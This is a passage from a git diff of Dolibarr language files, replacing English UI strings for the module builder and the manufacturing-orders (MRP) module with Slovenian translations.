      Warning: This is an advanced developer feature, do not experiment on your production site! -SeeTopRightMenu=See on the top right menu -AddLanguageFile=Add language file -YouCanUseTranslationKey=You can use here a key that is the translation key found into language file (see tab "Languages") -DropTableIfEmpty=(Destroy table if empty) -TableDoesNotExists=The table %s does not exists -TableDropped=Table %s deleted -InitStructureFromExistingTable=Build the structure array string of an existing table -UseAboutPage=Disable the about page -UseDocFolder=Disable the documentation folder -UseSpecificReadme=Use a specific ReadMe -ContentOfREADMECustomized=Note: The content of the README.md file has been replaced with the specific value defined into setup of ModuleBuilder. -RealPathOfModule=Real path of module -ContentCantBeEmpty=Content of file can't be empty -WidgetDesc=You can generate and edit here the widgets that will be embedded with your module. -CSSDesc=You can generate and edit here a file with personalized CSS embedded with your module. -JSDesc=You can generate and edit here a file with personalized Javascript embedded with your module. -CLIDesc=You can generate here some command line scripts you want to provide with your module. -CLIFile=CLI File -NoCLIFile=No CLI files -UseSpecificEditorName = Use a specific editor name -UseSpecificEditorURL = Use a specific editor URL -UseSpecificFamily = Use a specific family -UseSpecificAuthor = Use a specific author -UseSpecificVersion = Use a specific initial version -IncludeRefGeneration=The reference of object must be generated automatically -IncludeRefGenerationHelp=Check this if you want to include code to manage the generation automatically of the reference -IncludeDocGeneration=I want to generate some documents from the object -IncludeDocGenerationHelp=If you check this, some code will be generated to add a "Generate document" box on the record. -ShowOnCombobox=Show value into combobox -KeyForTooltip=Key for tooltip -CSSClass=CSS for edit/create form -CSSViewClass=CSS for read form -CSSListClass=CSS for list -NotEditable=Not editable -ForeignKey=Foreign key -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]] ('1' means we add a + button after the combo to create the record, 'filter' can be 'status=1 AND fk_user = __USER_ID AND entity IN (__SHARED_ENTITIES__)' for example) -AsciiToHtmlConverter=Ascii to HTML converter -AsciiToPdfConverter=Ascii to PDF converter -TableNotEmptyDropCanceled=Table not empty. Drop has been canceled. -ModuleBuilderNotAllowed=The module builder is available but not allowed to your user. -ImportExportProfiles=Import and export profiles -ValidateModBuilderDesc=Put 1 if this field need to be validated with $this->validateField() or 0 if validation required +IdModule= ID modula +ModuleBuilderDesc=To orodje smejo uporabljati samo izkušeni uporabniki ali razvijalci. Ponuja pripomočke za izdelavo ali urejanje lastnega modula. Dokumentacija za alternativni ročni razvoj je tukaj . +EnterNameOfModuleDesc=Brez presledkov vnesite ime modula/aplikacije, ki jo želite ustvariti. Za ločevanje besed uporabite velike črke (na primer: MyModule, E-CommerceForShop, SyncWithMySystem ...) +EnterNameOfObjectDesc=Vnesite ime predmeta, ki ga želite ustvariti, brez presledkov. Za ločevanje besed uporabite velike črke (na primer: Moj predmet, Študent, Učitelj ...). Ustvarjene bodo datoteka razreda CRUD, strani za seznam/dodajanje/urejanje/brisanje predmeta in datoteke SQL. +EnterNameOfDictionaryDesc=Vnesite ime slovarja, ki ga želite ustvariti, brez presledkov. Za ločevanje besed uporabite velike črke (Na primer: MyDico ...). Ustvarjena bosta datoteka razreda in tudi datoteka SQL. +ModuleBuilderDesc2=Pot, kjer so moduli ustvarjeni/urejeni (prvi imenik za zunanje module, definiran v %s): %s +ModuleBuilderDesc3=Najdeni ustvarjeni moduli/moduli, ki jih je mogoče urejati: %s +ModuleBuilderDesc4=Modul je zaznan kot 'ureljiv', ko datoteka %s obstaja v korenu imenika modula +NewModule=Nov modul +NewObjectInModulebuilder=Nov objekt +NewDictionary=Nov slovar +ModuleName=Ime modula +ModuleKey=Ključ modula +ObjectKey=Ključ predmeta +DicKey=Slovarski ključ +ModuleInitialized=Modul inicializiran +FilesForObjectInitialized=Inicializirane datoteke za nov objekt '%s' +FilesForObjectUpdated=Posodobljene datoteke za predmet '%s' (datoteke .sql in datoteka .class.php) +ModuleBuilderDescdescription=Tukaj vnesite vse splošne informacije, ki opisujejo vaš modul. +ModuleBuilderDescspecifications=Tukaj lahko vnesete podroben opis specifikacij vašega modula, ki še ni strukturiran v drugih zavihkih. Tako imate na dosegu roke vsa pravila za razvoj. Tudi ta besedilna vsebina bo vključena v generirano dokumentacijo (glej zadnji zavihek). Uporabite lahko format Markdown, vendar je priporočljivo uporabiti format Asciidoc (primerjava med .md in .asciidoc: http://asciidoctor.org/docs/user-manual/#compared-to-markdown). +ModuleBuilderDescobjects=Tukaj določite objekte, ki jih želite upravljati s svojim modulom. Ustvarjen bo razred CRUD DAO, datoteke SQL, zapis strani za seznam predmetov, ustvarjanje/urejanje/ogled zapisa in API. +ModuleBuilderDescmenus=Ta zavihek je namenjen definiranju menijskih vnosov, ki jih ponuja vaš modul. +ModuleBuilderDescpermissions=Ta zavihek je namenjen določanju novih dovoljenj, ki jih želite zagotoviti s svojim modulom. +ModuleBuilderDesctriggers=To je pogled sprožilcev, ki jih ponuja vaš modul. Če želite vključiti kodo, ki se izvede ob sprožitvi sproženega poslovnega dogodka, samo uredite to datoteko. +ModuleBuilderDeschooks=Ta zavihek je namenjen trnkom. +ModuleBuilderDescwidgets=Ta zavihek je namenjen upravljanju/izdelavi pripomočkov. +ModuleBuilderDescbuildpackage=Tukaj lahko ustvarite datoteko paketa, pripravljeno za distribucijo (normalizirano datoteko .zip) vašega modula in dokumentacijsko datoteko, pripravljeno za distribucijo. Preprosto kliknite gumb za izdelavo paketa ali dokumentacijske datoteke. +EnterNameOfModuleToDeleteDesc=Svoj modul lahko izbrišete. OPOZORILO: Vse datoteke kodiranja modula (generirane ali ustvarjene ročno) TER strukturirani podatki in dokumentacija bodo izbrisani! +EnterNameOfObjectToDeleteDesc=Predmet lahko izbrišete. OPOZORILO: Vse datoteke kodiranja (generirane ali ustvarjene ročno), povezane z objektom, bodo izbrisane! +DangerZone=Nevarno območje +BuildPackage=Zgradite paket +BuildPackageDesc=Lahko ustvarite zip paket svoje aplikacije, tako da ste pripravljeni za distribucijo na kateri koli Dolibarr. Lahko ga tudi distribuirate ali prodajate na trgu, kot je DoliStore.com . +BuildDocumentation=Gradnja dokumentacije +ModuleIsNotActive=Ta modul še ni aktiviran. Pojdite na %s, da ga objavite v živo, ali kliknite tukaj +ModuleIsLive=Ta modul je bil aktiviran. Vsaka sprememba lahko prekine trenutno funkcijo v živo. +DescriptionLong=Dolg opis +EditorName=Ime urednika +EditorUrl=URL urejevalnika +DescriptorFile=Deskriptorna datoteka modula +ClassFile=Datoteka za razred PHP DAO CRUD +ApiClassFile=Datoteka za razred PHP API +PageForList=PHP stran za seznam zapisov +PageForCreateEditView=PHP stran za ustvarjanje/urejanje/ogled zapisa +PageForAgendaTab=Stran PHP za zavihek dogodkov +PageForDocumentTab=Stran PHP za zavihek dokumenta +PageForNoteTab=PHP stran za zavihek opombe +PageForContactTab=Stran PHP za zavihek s stiki +PathToModulePackage=Pot do zip paketa modula/aplikacije +PathToModuleDocumentation=Pot do datoteke dokumentacije modula/aplikacije (%s) +SpaceOrSpecialCharAreNotAllowed=Presledki ali posebni znaki niso dovoljeni. +FileNotYetGenerated=Datoteka še ni ustvarjena +GenerateCode=Ustvari kodo +RegenerateClassAndSql=Vsili posodobitev datotek .class in .sql +RegenerateMissingFiles=Ustvarite manjkajoče datoteke +SpecificationFile=Datoteka z dokumentacijo +LanguageFile=Datoteka za jezik +ObjectProperties=Lastnosti predmeta +Property=Propery +PropertyDesc=Lastnost je atribut, ki označuje predmet. Ta atribut ima kodo, oznako in vrsto z več možnostmi. +ConfirmDeleteProperty=Ali ste prepričani, da želite izbrisati lastnost %s ? To bo spremenilo kodo v razredu PHP, a tudi odstranilo stolpec iz definicije tabele predmeta. +NotNull=Ni NULL +NotNullDesc=1=Nastavi bazo podatkov na NOT NULL, 0=Dovoli ničelne vrednosti, -1=Dovoli ničelne vrednosti tako, da vsili vrednost na NULL, če je prazna ('' ali 0) +SearchAll=Uporablja se za "iskanje vseh" +DatabaseIndex=Indeks baze podatkov +FileAlreadyExists=Datoteka %s že obstaja +TriggersFile=Datoteka za kodo sprožilcev +HooksFile=Datoteka za kodo kavljev +ArrayOfKeyValues=Niz ključ-val +ArrayOfKeyValuesDesc=Niz ključev in vrednosti, če je polje kombinirani seznam s fiksnimi vrednostmi +WidgetFile=Datoteka pripomočka +CSSFile=datoteka CSS +JSFile=datoteka Javascript +ReadmeFile=Datoteka Readme +ChangeLog=Datoteka ChangeLog +TestClassFile=Datoteka za razred PHP Unit Test +SqlFile=Sql datoteka +PageForLib=Datoteka za skupno knjižnico PHP +PageForObjLib=Datoteka za knjižnico PHP, namenjeno predmetu +SqlFileExtraFields=Sql datoteka za komplementarne atribute +SqlFileKey=Sql datoteka za ključe +SqlFileKeyExtraFields=Sql datoteka za ključe komplementarnih atributov +AnObjectAlreadyExistWithThisNameAndDiffCase=Predmet s tem imenom in drugačnimi velikimi in malimi črkami že obstaja +UseAsciiDocFormat=Uporabite lahko format Markdown, vendar je priporočljivo uporabiti format Asciidoc (primerjava med .md in .asciidoc: http://asciidoctor.org/docs/user-manual/#compared-to-markdown) +IsAMeasure=Je merilo +DirScanned=Imenik skeniran +NoTrigger=Brez sprožilca +NoWidget=Brez pripomočka +ApiExplorer=API raziskovalec +ListOfMenusEntries=Seznam menijskih vnosov +ListOfDictionariesEntries=Seznam slovarskih vnosov +ListOfPermissionsDefined=Seznam definiranih dovoljenj +SeeExamples=Oglejte si primere tukaj +EnabledDesc=Pogoj, da je to polje aktivno.

      Primeri:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Ali je polje vidno? (Primeri: 0=nikoli viden, 1=viden na seznamu in obrazci za ustvarjanje/posodabljanje/ogled, 2=viden samo na seznamu, 3=viden samo na obrazcu za ustvarjanje/posodabljanje/ogled (ne na seznamu), 4=viden na seznamu in samo posodobitev/ogled obrazca (ne ustvari), 5=Vidno samo na končnem obrazcu seznama (ne ustvari, ne posodobi).

      Uporaba negativne vrednosti pomeni, da polje ni privzeto prikazano na seznamu, vendar ga je mogoče izbrati za ogled). +ItCanBeAnExpression=Lahko je izraz. Primer:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('praznik', 'define_holiday')?1:5 +DisplayOnPdfDesc=Prikažite to polje na združljivih dokumentih PDF, položaj lahko upravljate s poljem »Položaj«.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description stolpec za opisom
      4 = prikaz v stolpcu z opisom za opisom le, če ni prazen +DisplayOnPdf=V PDF-ju +IsAMeasureDesc=Ali je mogoče vrednost polja sešteti, da dobimo skupno vsoto na seznam? (Primeri: 1 ali 0) +SearchAllDesc=Ali se polje uporablja za iskanje iz orodja za hitro iskanje? (Primeri: 1 ali 0) +SpecDefDesc=Tukaj vnesite vso dokumentacijo, ki jo želite zagotoviti z vašim modulom in ki še ni definirana na drugih zavihkih. Uporabite lahko .md ali bolje, bogato sintakso .asciidoc. +LanguageDefDesc=V te datoteke vnesite vse ključe in prevode za vsako jezikovno datoteko. +MenusDefDesc=Tu določite menije, ki jih ponuja vaš modul +DictionariesDefDesc=Tukaj določite slovarje, ki jih nudi vaš modul +PermissionsDefDesc=Tukaj določite nova dovoljenja, ki jih nudi vaš modul +MenusDefDescTooltip=Meniji, ki jih nudi vaš modul/aplikacija, so definirani v matriki $this->menus v datoteki deskriptorja modula. To datoteko lahko urejate ročno ali uporabite vdelani urejevalnik.

      Opomba: Ko so meniji definirani (in modul ponovno aktiviran), so meniji vidni tudi v urejevalniku menijev, ki je na voljo skrbniškim uporabnikom na %s. +DictionariesDefDescTooltip=Slovarji, ki jih nudi vaš modul/aplikacija, so definirani v matriki $this->dictionaries v datoteki deskriptorja modula. To datoteko lahko urejate ročno ali uporabite vdelani urejevalnik.

      Opomba: Ko so slovarji definirani (in modul ponovno aktivirani), so v območju nastavitev vidni tudi skrbniškim uporabnikom na %s. +PermissionsDefDescTooltip=Dovoljenja, ki jih zagotavlja vaš modul/aplikacija, so definirana v matriki $this->rights v datoteki deskriptorja modula. To datoteko lahko urejate ročno ali uporabite vdelani urejevalnik.

      Opomba: Ko so dovoljenja definirana (in modul ponovno aktivirana), so vidna v privzeti nastavitvi dovoljenj %s. +HooksDefDesc=V lastnosti module_parts['hooks'] v deskriptorju modula definirajte kontekst kavljev, ki jih želite upravljati (seznam kontekstov lahko najdete z iskanjem na ' initHooks( f ' a0da3192fccb ' v jedrni kodi). hook datoteko za dodajanje kode vaših zasvojenih funkcij (zasvojene funkcije lahko najdete z iskanjem na ' executeHooks ' v osnovni kodi). +TriggerDefDesc=V prožilni datoteki definirajte kodo, ki jo želite izvesti, ko se izvede poslovni dogodek zunaj vašega modula (dogodki, ki jih sprožijo drugi moduli). +SeeIDsInUse=Oglejte si ID-je, ki se uporabljajo v vaši namestitvi +SeeReservedIDsRangeHere=Oglejte si obseg rezerviranih ID-jev +ToolkitForDevelopers=Komplet orodij za razvijalce Dolibarr +TryToUseTheModuleBuilder=Če poznate SQL in PHP, lahko uporabite čarovnika za ustvarjanje izvirnega modula.
      Omogočite modul %s in uporabite čarovnika s klikom na v zgornjem desnem meniju.
      Opozorilo: To je napredna funkcija za razvijalce, ne ne eksperimentirajte na svojem proizvodnem mestu! +SeeTopRightMenu=Oglejte si v zgornjem desnem meniju +AddLanguageFile=Dodajte jezikovno datoteko +YouCanUseTranslationKey=Tukaj lahko uporabite ključ, ki je ključ prevoda, ki ga najdete v jezikovni datoteki (glejte zavihek "Jeziki") +DropTableIfEmpty=(Uniči tabelo, če je prazna) +TableDoesNotExists=Tabela %s ne obstaja +TableDropped=Tabela %s izbrisana +InitStructureFromExistingTable=Zgradite strukturni niz obstoječe tabele +UseAboutPage=Ne ustvarite strani O programu +UseDocFolder=Onemogočite mapo z dokumentacijo +UseSpecificReadme=Uporabite poseben ReadMe +ContentOfREADMECustomized=Opomba: Vsebina datoteke README.md je bila nadomeščena s specifično vrednostjo, definirano v nastavitvah ModuleBuilderja. +RealPathOfModule=Prava pot modula +ContentCantBeEmpty=Vsebina datoteke ne sme biti prazna +WidgetDesc=Tu lahko ustvarite in uredite gradnike, ki bodo vdelani v vaš modul. +CSSDesc=Tukaj lahko ustvarite in uredite datoteko s prilagojenim CSS, vdelanim v vaš modul. +JSDesc=Tu lahko ustvarite in uredite datoteko s prilagojenim Javascriptom, vdelanim v vaš modul. +CLIDesc=Tukaj lahko ustvarite nekaj skriptov ukazne vrstice, ki jih želite zagotoviti z vašim modulom. +CLIFile=Datoteka CLI +NoCLIFile=Ni datotek CLI +UseSpecificEditorName = Uporabite določeno ime urejevalnika +UseSpecificEditorURL = Uporabite določen URL urejevalnika +UseSpecificFamily = Uporabite določeno družino +UseSpecificAuthor = Uporabite določenega avtorja +UseSpecificVersion = Uporabite določeno začetno različico +IncludeRefGeneration=Referenca tega predmeta mora biti samodejno ustvarjena s pravili oštevilčenja po meri +IncludeRefGenerationHelp=Označite to, če želite vključiti kodo za samodejno upravljanje generiranja sklica z uporabo pravil oštevilčevanja po meri +IncludeDocGeneration=Želim, da funkcija ustvari nekaj dokumentov (PDF, ODT) iz predlog za ta predmet +IncludeDocGenerationHelp=Če to označite, bo ustvarjena koda za dodajanje polja »Ustvari dokument« v zapis. +ShowOnCombobox=Prikaži vrednost v kombiniranih poljih +KeyForTooltip=Ključ za opis orodja +CSSClass=CSS za urejanje/ustvarjanje obrazca +CSSViewClass=CSS za obrazec za branje +CSSListClass=CSS za seznam +NotEditable=Ni mogoče urejati +ForeignKey=Tuji ključ +ForeignKeyDesc=Če je treba zagotoviti, da vrednost tega polja obstaja v drugi tabeli. Tukaj vnesite sintakso, ki se ujema z vrednostjo: tablename.parentfieldtocheck +TypeOfFieldsHelp=Primer:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      ' 1' pomeni, da dodamo gumb + za kombinacijo, da ustvarimo zapis.
      'filter' je pogoj sql, primer: 'status=1 IN fk_user=__USER_ID__ IN entiteta IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=To je vrsta polja/atributa. +AsciiToHtmlConverter=Pretvornik ascii v HTML +AsciiToPdfConverter=Pretvornik ascii v PDF +TableNotEmptyDropCanceled=Miza ni prazna. Spuščanje je bilo preklicano. +ModuleBuilderNotAllowed=Graditelj modulov je na voljo, vendar ni dovoljen vašemu uporabniku. +ImportExportProfiles=Uvoz in izvoz profilov +ValidateModBuilderDesc=To nastavite na 1, če želite, da se kliče metoda $this->validateField() objekta za preverjanje vsebine polja med vstavljanjem ali posodabljanjem. Nastavite 0, če preverjanje ni potrebno. +WarningDatabaseIsNotUpdated=Opozorilo: Baza podatkov se ne posodablja samodejno, zato morate uničiti tabele in onemogočiti-omogočiti modul, da bodo tabele ponovno ustvarjene +LinkToParentMenu=Nadrejeni meni (fk_xxxxmenu) +ListOfTabsEntries=Seznam vnosov zavihkov +TabsDefDesc=Tukaj določite zavihke, ki jih ponuja vaš modul +TabsDefDescTooltip=Zavihki, ki jih nudi vaš modul/aplikacija, so definirani v matriki $this->tabs v datoteki deskriptorja modula. To datoteko lahko urejate ročno ali uporabite vdelani urejevalnik. +BadValueForType=Neveljaven tip %s +DefinePropertiesFromExistingTable=Definirajte lastnosti iz obstoječe tabele +DefinePropertiesFromExistingTableDesc=Če tabela v bazi podatkov (za objekt, ki ga želite ustvariti) že obstaja, jo lahko uporabite za definiranje lastnosti predmeta. +DefinePropertiesFromExistingTableDesc2=Pustite prazno, če tabela še ne obstaja. Generator kode bo uporabil različne vrste polj za izdelavo primera tabele, ki jo lahko pozneje urejate. diff --git a/htdocs/langs/sl_SI/mrp.lang b/htdocs/langs/sl_SI/mrp.lang index 0cbcc1d2bc8..ff79cfb547f 100644 --- a/htdocs/langs/sl_SI/mrp.lang +++ b/htdocs/langs/sl_SI/mrp.lang @@ -1,109 +1,120 @@ -Mrp=Manufacturing Orders -MOs=Manufacturing orders -ManufacturingOrder=Manufacturing Order -MRPDescription=Module to manage production and Manufacturing Orders (MO). -MRPArea=MRP Area -MrpSetupPage=Setup of module MRP -MenuBOM=Bills of material -LatestBOMModified=Latest %s Bills of materials modified -LatestMOModified=Latest %s Manufacturing Orders modified -Bom=Bills of Material -BillOfMaterials=Bill of Materials -BillOfMaterialsLines=Bill of Materials lines -BOMsSetup=Setup of module BOM -ListOfBOMs=List of bills of material - BOM -ListOfManufacturingOrders=List of Manufacturing Orders -NewBOM=New bill of materials -ProductBOMHelp=Product to create (or disassemble) with this BOM.
      Note: Products with the property 'Nature of product' = 'Raw material' are not visible into this list. -BOMsNumberingModules=BOM numbering templates -BOMsModelModule=BOM document templates -MOsNumberingModules=MO numbering templates -MOsModelModule=MO document templates -FreeLegalTextOnBOMs=Free text on document of BOM -WatermarkOnDraftBOMs=Watermark on draft BOM -FreeLegalTextOnMOs=Free text on document of MO -WatermarkOnDraftMOs=Watermark on draft MO -ConfirmCloneBillOfMaterials=Are you sure you want to clone the bill of materials %s ? -ConfirmCloneMo=Are you sure you want to clone the Manufacturing Order %s ? -ManufacturingEfficiency=Manufacturing efficiency -ConsumptionEfficiency=Consumption efficiency -ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly -ValueOfMeansLossForProductProduced=Value of 0.95 means an average of 5%% of loss of produced product -DeleteBillOfMaterials=Delete Bill Of Materials -DeleteMo=Delete Manufacturing Order -ConfirmDeleteBillOfMaterials=Are you sure you want to delete this Bill Of Materials? -ConfirmDeleteMo=Are you sure you want to delete this Manufacturing Order? -MenuMRP=Manufacturing Orders -NewMO=New Manufacturing Order -QtyToProduce=Qty to produce -DateStartPlannedMo=Date start planned -DateEndPlannedMo=Date end planned -KeepEmptyForAsap=Empty means 'As Soon As Possible' -EstimatedDuration=Estimated duration -EstimatedDurationDesc=Estimated duration to manufacture (or disassemble) this product using this BOM -ConfirmValidateBom=Are you sure you want to validate the BOM with the reference %s (you will be able to use it to build new Manufacturing Orders) -ConfirmCloseBom=Are you sure you want to cancel this BOM (you won't be able to use it to build new Manufacturing Orders anymore) ? -ConfirmReopenBom=Are you sure you want to re-open this BOM (you will be able to use it to build new Manufacturing Orders) -StatusMOProduced=Produced -QtyFrozen=Frozen Qty -QuantityFrozen=Frozen Quantity -QuantityConsumedInvariable=When this flag is set, the quantity consumed is always the value defined and is not relative to the quantity produced. -DisableStockChange=Stock change disabled -DisableStockChangeHelp=When this flag is set, there is no stock change on this product, whatever is the quantity consumed -BomAndBomLines=Bills Of Material and lines -BOMLine=Line of BOM -WarehouseForProduction=Warehouse for production -CreateMO=Create MO -ToConsume=To consume -ToProduce=To produce -ToObtain=To obtain -QtyAlreadyConsumed=Qty already consumed -QtyAlreadyProduced=Qty already produced -QtyRequiredIfNoLoss=Qty required if there is no loss (Manufacturing efficiency is 100%%) -ConsumeOrProduce=Consume or Produce -ConsumeAndProduceAll=Consume and Produce All -Manufactured=Manufactured -TheProductXIsAlreadyTheProductToProduce=The product to add is already the product to produce. -ForAQuantityOf=For a quantity to produce of %s -ForAQuantityToConsumeOf=For a quantity to disassemble of %s -ConfirmValidateMo=Are you sure you want to validate this Manufacturing Order? -ConfirmProductionDesc=By clicking on '%s', you will validate the consumption and/or production for the quantities set. This will also update the stock and record stock movements. -ProductionForRef=Production of %s -AutoCloseMO=Close automatically the Manufacturing Order if quantities to consume and to produce are reached -NoStockChangeOnServices=No stock change on services -ProductQtyToConsumeByMO=Product quantity still to consume by open MO -ProductQtyToProduceByMO=Product quantity still to produce by open MO -AddNewConsumeLines=Add new line to consume -AddNewProduceLines=Add new line to produce -ProductsToConsume=Products to consume -ProductsToProduce=Products to produce -UnitCost=Unit cost -TotalCost=Total cost -BOMTotalCost=The cost to produce this BOM based on cost of each quantity and product to consume (use Cost price if defined, else Average Weighted Price if defined, else the Best purchase price) -GoOnTabProductionToProduceFirst=You must first have started the production to close a Manufacturing Order (See tab '%s'). But you can Cancel it. -ErrorAVirtualProductCantBeUsedIntoABomOrMo=A kit can't be used into a BOM or a MO -Workstation=Workstation -Workstations=Workstations -WorkstationsDescription=Workstations management -WorkstationSetup = Workstations setup -WorkstationSetupPage = Workstations setup page -WorkstationList=Workstation list -WorkstationCreate=Add new workstation -ConfirmEnableWorkstation=Are you sure you want to enable workstation %s ? -EnableAWorkstation=Enable a workstation -ConfirmDisableWorkstation=Are you sure you want to disable workstation %s ? -DisableAWorkstation=Disable a workstation +Mrp=Naročila za proizvodnjo +MOs=Naročila za proizvodnjo +ManufacturingOrder=Naročilo izdelave +MRPDescription=Modul za upravljanje proizvodnje in proizvodnih naročil (MO). +MRPArea=Območje MRP +MrpSetupPage=Nastavitev modula MRP +MenuBOM=Listnice materiala +LatestBOMModified=Najnovejši %s Kosniki spremenjeni +LatestMOModified=Najnovejša %s proizvodna naročila spremenjena +Bom=Listnice materiala +BillOfMaterials=Račun za materiale +BillOfMaterialsLines=Vrstice seznama materialov +BOMsSetup=Nastavitev modula BOM +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Naročila za proizvodnjo +NewBOM=Nov kosovnik +ProductBOMHelp=Izdelek za ustvarjanje (ali razstavljanje) s to kosovnico.
      Opomba: Izdelki z lastnostjo 'Narava izdelka' = 'Surovina' niso vidni na tem seznamu. +BOMsNumberingModules=Predloge o oštevilčevanju BOM +BOMsModelModule=Predloge dokumentov BOM +MOsNumberingModules=Predloge za številčenje MO +MOsModelModule=Predloge dokumentov MO +FreeLegalTextOnBOMs=Prosto besedilo na dokumentu BOM +WatermarkOnDraftBOMs=Vodni žig na osnutku kosovnice +FreeLegalTextOnMOs=Prosto besedilo na dokumentu MO +WatermarkOnDraftMOs=Vodni žig na osnutku MO +ConfirmCloneBillOfMaterials=Ali ste prepričani, da želite klonirati kosovnico %s? +ConfirmCloneMo=Ali ste prepričani, da želite klonirati proizvodni nalog %s? +ManufacturingEfficiency=Učinkovitost proizvodnje +ConsumptionEfficiency=Učinkovitost porabe +Consumption=Consumption +ValueOfMeansLoss=Vrednost 0,95 pomeni povprečno 5%% izgube med proizvodnjo ali razstavljanjem +ValueOfMeansLossForProductProduced=Vrednost 0,95 pomeni povprečno 5%% izgube proizvedenega proizvoda +DeleteBillOfMaterials=Izbriši seznam materiala +DeleteMo=Izbriši proizvodni nalog +ConfirmDeleteBillOfMaterials=Ali ste prepričani, da želite izbrisati ta seznam materialov? +ConfirmDeleteMo=Ali ste prepričani, da želite izbrisati to proizvodno naročilo? +MenuMRP=Naročila za proizvodnjo +NewMO=Novo proizvodno naročilo +QtyToProduce=Količina za proizvodnjo +DateStartPlannedMo=Načrtovan datum začetka +DateEndPlannedMo=Načrtovan konec datuma +KeepEmptyForAsap=Prazno pomeni 'Čim prej' +EstimatedDuration=Predvideno trajanje +EstimatedDurationDesc=Predvideno trajanje izdelave (ali razstavljanja) tega izdelka z uporabo te kosovnice +ConfirmValidateBom=Ali ste prepričani, da želite potrditi kosovnico s sklicem %s (uporabili jo boste lahko za ustvarjanje novih proizvodnih naročil) +ConfirmCloseBom=Ali ste prepričani, da želite preklicati to kosovnico (ne boste je mogli več uporabljati za izdelavo novih proizvodnih naročil)? +ConfirmReopenBom=Ali ste prepričani, da želite znova odpreti to kosovnico (uporabili jo boste lahko za ustvarjanje novih proizvodnih naročil) +StatusMOProduced=Proizvedeno +QtyFrozen=Zamrznjena količina +QuantityFrozen=Zamrznjena količina +QuantityConsumedInvariable=Ko je ta zastavica nastavljena, je porabljena količina vedno definirana vrednost in ni relativna glede na proizvedeno količino. +DisableStockChange=Menjava zalog onemogočena +DisableStockChangeHelp=Ko je ta zastavica nastavljena, ni sprememb zaloge tega izdelka, ne glede na porabljeno količino +BomAndBomLines=Listnice materiala in linije +BOMLine=Linija BOM +WarehouseForProduction=Skladišče za proizvodnjo +CreateMO=Ustvari MO +ToConsume=Zaužiti +ToProduce=Izdelovati +ToObtain=Za pridobitev +QtyAlreadyConsumed=Količina že porabljena +QtyAlreadyProduced=Količina že izdelana +QtyRequiredIfNoLoss=Zahtevana količina, če ni izgube (proizvodna učinkovitost je 100%%) +ConsumeOrProduce=Porabi ali proizvedi +ConsumeAndProduceAll=Porabi in proizvedi vse +Manufactured=Proizvedeno +TheProductXIsAlreadyTheProductToProduce=Izdelek za dodajanje je že izdelek za proizvodnjo. +ForAQuantityOf=Za količino za proizvodnjo %s +ForAQuantityToConsumeOf=Za količino za razstavljanje %s +ConfirmValidateMo=Ali ste prepričani, da želite potrditi to proizvodno naročilo? +ConfirmProductionDesc=S klikom na '%s' potrdite porabo in/ali proizvodnjo za nastavljene količine. To bo tudi posodobilo zaloge in zabeležilo gibanje zalog. +ProductionForRef=Izdelava %s +CancelProductionForRef=Preklic zmanjšanja zaloge izdelka za izdelek %s +TooltipDeleteAndRevertStockMovement=Izbriši vrstico in povrni gibanje delnic +AutoCloseMO=Samodejno zapri proizvodni nalog, če so dosežene količine za porabo in proizvodnjo +NoStockChangeOnServices=Brez sprememb zalog pri storitvah +ProductQtyToConsumeByMO=Količina izdelka, ki jo je treba še porabiti do odprtega MO +ProductQtyToProduceByMO=Količina izdelka, ki jo je treba še proizvesti do odprtega MO +AddNewConsumeLines=Dodajte novo vrstico za porabo +AddNewProduceLines=Dodajte novo linijo za proizvodnjo +ProductsToConsume=Izdelki za uživanje +ProductsToProduce=Izdelki za proizvodnjo +UnitCost=Cena enote +TotalCost=Skupni stroški +BOMTotalCost=Stroški izdelave te kosovnice na podlagi stroškov vsake količine in izdelka za porabo (uporabite nabavno ceno, če je določena, sicer povprečno ponderirano ceno, če je določena, drugače pa najboljšo nakupno ceno) +BOMTotalCostService=Če je aktiviran modul "Delovna postaja" in je na vrstici privzeto definirana delovna postaja, potem je izračun "količina (preračunana v ure) x delovna postaja ahr", sicer pa "količina (preračunana v ure) x stroškovna cena storitve" +GoOnTabProductionToProduceFirst=Za zapiranje proizvodnega naloga morate najprej začeti proizvodnjo (glejte zavihek '%s'). Lahko pa ga prekličete. +ErrorAVirtualProductCantBeUsedIntoABomOrMo=Kompleta ni mogoče uporabiti v BOM ali MO +Workstation=Delovna postaja +Workstations=Delovne postaje +WorkstationsDescription=Upravljanje delovnih postaj +WorkstationSetup = Nastavitev delovnih postaj +WorkstationSetupPage = Stran za nastavitev delovnih postaj +WorkstationList=Seznam delovnih postaj +WorkstationCreate=Dodajte novo delovno postajo +ConfirmEnableWorkstation=Ali ste prepričani, da želite omogočiti delovno postajo %s ? +EnableAWorkstation=Omogoči delovno postajo +ConfirmDisableWorkstation=Ali ste prepričani, da želite onemogočiti delovno postajo %s ? +DisableAWorkstation=Onemogočite delovno postajo DeleteWorkstation=Izbriši -NbOperatorsRequired=Number of operators required -THMOperatorEstimated=Estimated operator THM -THMMachineEstimated=Estimated machine THM -WorkstationType=Workstation type -Human=Human -Machine=Machine -HumanMachine=Human / Machine -WorkstationArea=Workstation area -Machines=Machines -THMEstimatedHelp=This rate makes it possible to define a forecast cost of the item -BOM=Bill Of Materials -CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module -MOAndLines=Manufacturing Orders and lines +NbOperatorsRequired=Število zahtevanih operaterjev +THMOperatorEstimated=Predvideni operater THM +THMMachineEstimated=Ocenjeni stroj THM +WorkstationType=Vrsta delovne postaje +Human=Človek +Machine=Stroj +HumanMachine=Človek/stroj +WorkstationArea=Območje delovne postaje +Machines=Stroji +THMEstimatedHelp=Ta stopnja omogoča določitev predvidene cene artikla +BOM=Račun za materiale +CollapseBOMHelp=V konfiguraciji modula BOM lahko določite privzeti prikaz podrobnosti nomenklature +MOAndLines=Proizvodna naročila in linije +MoChildGenerate=Ustvari Child Mo +ParentMo=MO 